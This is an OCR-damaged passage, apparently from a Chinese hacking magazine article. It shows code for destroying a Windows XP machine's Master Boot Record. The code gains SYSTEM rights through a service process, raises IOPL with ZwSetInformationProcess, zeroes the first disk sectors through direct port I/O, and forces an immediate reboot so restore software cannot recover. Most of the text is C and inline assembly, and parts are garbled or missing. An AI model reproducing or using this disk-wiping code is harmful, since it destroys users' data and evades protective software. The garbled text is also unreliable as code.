接着我再介绍在1^叩3下直接1/0的方式,也有几个条件:1、8¥81f1权限,2、然后调用 ZwSetInformationProcess给操作进程设置1/0操作的权限,也就是设置参数I0PL。如何让 进程具有5%切^1权限,有几种方法:父进程具有巧社咖权限,那么创建子进程也会继承权 限;父线程具有巧⑶挪权限,那么创建的子线程也可以继承该权卩¥^40^的方法;创 建服务进程,自动就有syste^l权限;H00K ZwCreateProcessEx函数等等。 我采用创建服务进程,然后在服务进程创建子进程,让其继^^^的system权限即可, 下面是直接读写1/0来清零MBR的核心代码: ^r_X/ / 00L IsSystemLevel() { B00L result=FALSE; 0SVERSI0NINF0 osv; CHAR username[30]={0}; DWORD cb=30; ZeroMemory(&osv, sizeof(osv)); osv. dwOSVersionInfoSize=sizeof(osv); //判断操作系统是否为NT以上 GetVersionExA(&osv); if (!(osv. dwPlatformId &VER_PLATF0RM_WIN32_NT)) { result = FALSE; return result; } //判断用户是否是Administrator GetUserNameA (username, &cb); OutputDebugStringA(username); if (stricmp(username, 〃system〃)) { result = FALSE; return result; } return 1; } //进程获取system的权限后,设置I0PL=TRUE,可以在UserM0de操作1/0端口 B00L EnableUserModeHardwareIO() { B00L result=FALSE; DWORD dwProces sID=GetCurrentProces sId(); a 5UBJECTLAYDUT >栏目编》> wlf> HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID); HMODULE hNTDLL = GetModuleHandleACntdlLdirO ; DWORD ZwSetInformat i onProce s s_Addres s; ULONG I0PL=1; if (hNTDLL) { ZwSetInformationProcess_Address (DWORD)GetProcAddress(hNTDLL, "ZwSetInformationProcess"); if (ZwSetInformationProcess_Address) { 一 result =IsSystemLevel(); if (result) { —asm{ pushad push 4 lea eax, IOPL push eax push 16 push hProcess call ZwSe11nformationProcess_Address mov result, eax popad } if (!result) result =TRUE; } } } CloseHandle(hProcess); return result; } /m i/o端口读写磁盘,将磁盘的前8个扇区清o int UsermodeByPass() //要写入的磁盘号及磁头号 al, 0x00 //要写入的扇区数量 //要写的扇区号 //要写的柱面的低8位 "柱面高2位 //命令端口 //尝试写入扇区 in al, dx test al, 8 jz short inputs xor ecx, ecx mov cx, 100h mov dx, lFOh lea esi, [inbuf] cli cld rep outsw sti } shutdownsys(); return 0; } int shutdownsys() { _asm mov dx, 0x64 _asm mov al, 0xFE _asm out dx, al return 0; 使用ZwSetInformationProcess设置参数IOPL的值为TRUE时,进程就具有1/0操作权 限,记得去年我写的黑防一篇文章-〈〈内核编程读写CMOS>>,黑防迷们不知道还有没有印象, 里面就提到过0?1〈=10?1时,就可以读写1/0,0?1代表内核模式为0,应用层模式为3;因 此CPL=0<=IOPL —定成立。每个进程都有EPR0CESS->KPR0CESS, PCB里面的参数Iopl如果 丁即艮那么f?1八&5寄存器中I0PL值为3,那么即使0?1=3〈=10?1,所以关键就在于使得条件 0卩1〈=10?1成立,那么就可以读写1/0,所以在内核和应用层里读写1/0其实是一样的,只 是为了能够有读写1/0权限,其他代码就不过多阐述,如何读写磁盘跟如8编程读写一样, 在寄存器里设置读写位置、大小(扇区为单元),然后用0址、化来操作,为了防止关机时, 某些还原软件会通过关机回调函数来恢复咖民因此直接1/0关机。环境^化册SP3 +还原 精灵7。
重启后,MBR被清0,无法进入系统,效果跟前面使用3031指令穿透效果一样。不过这 种方式已经被很多安全软件所监控到,权限提升,意图太明显,1/0读写文件的通用性不好。 |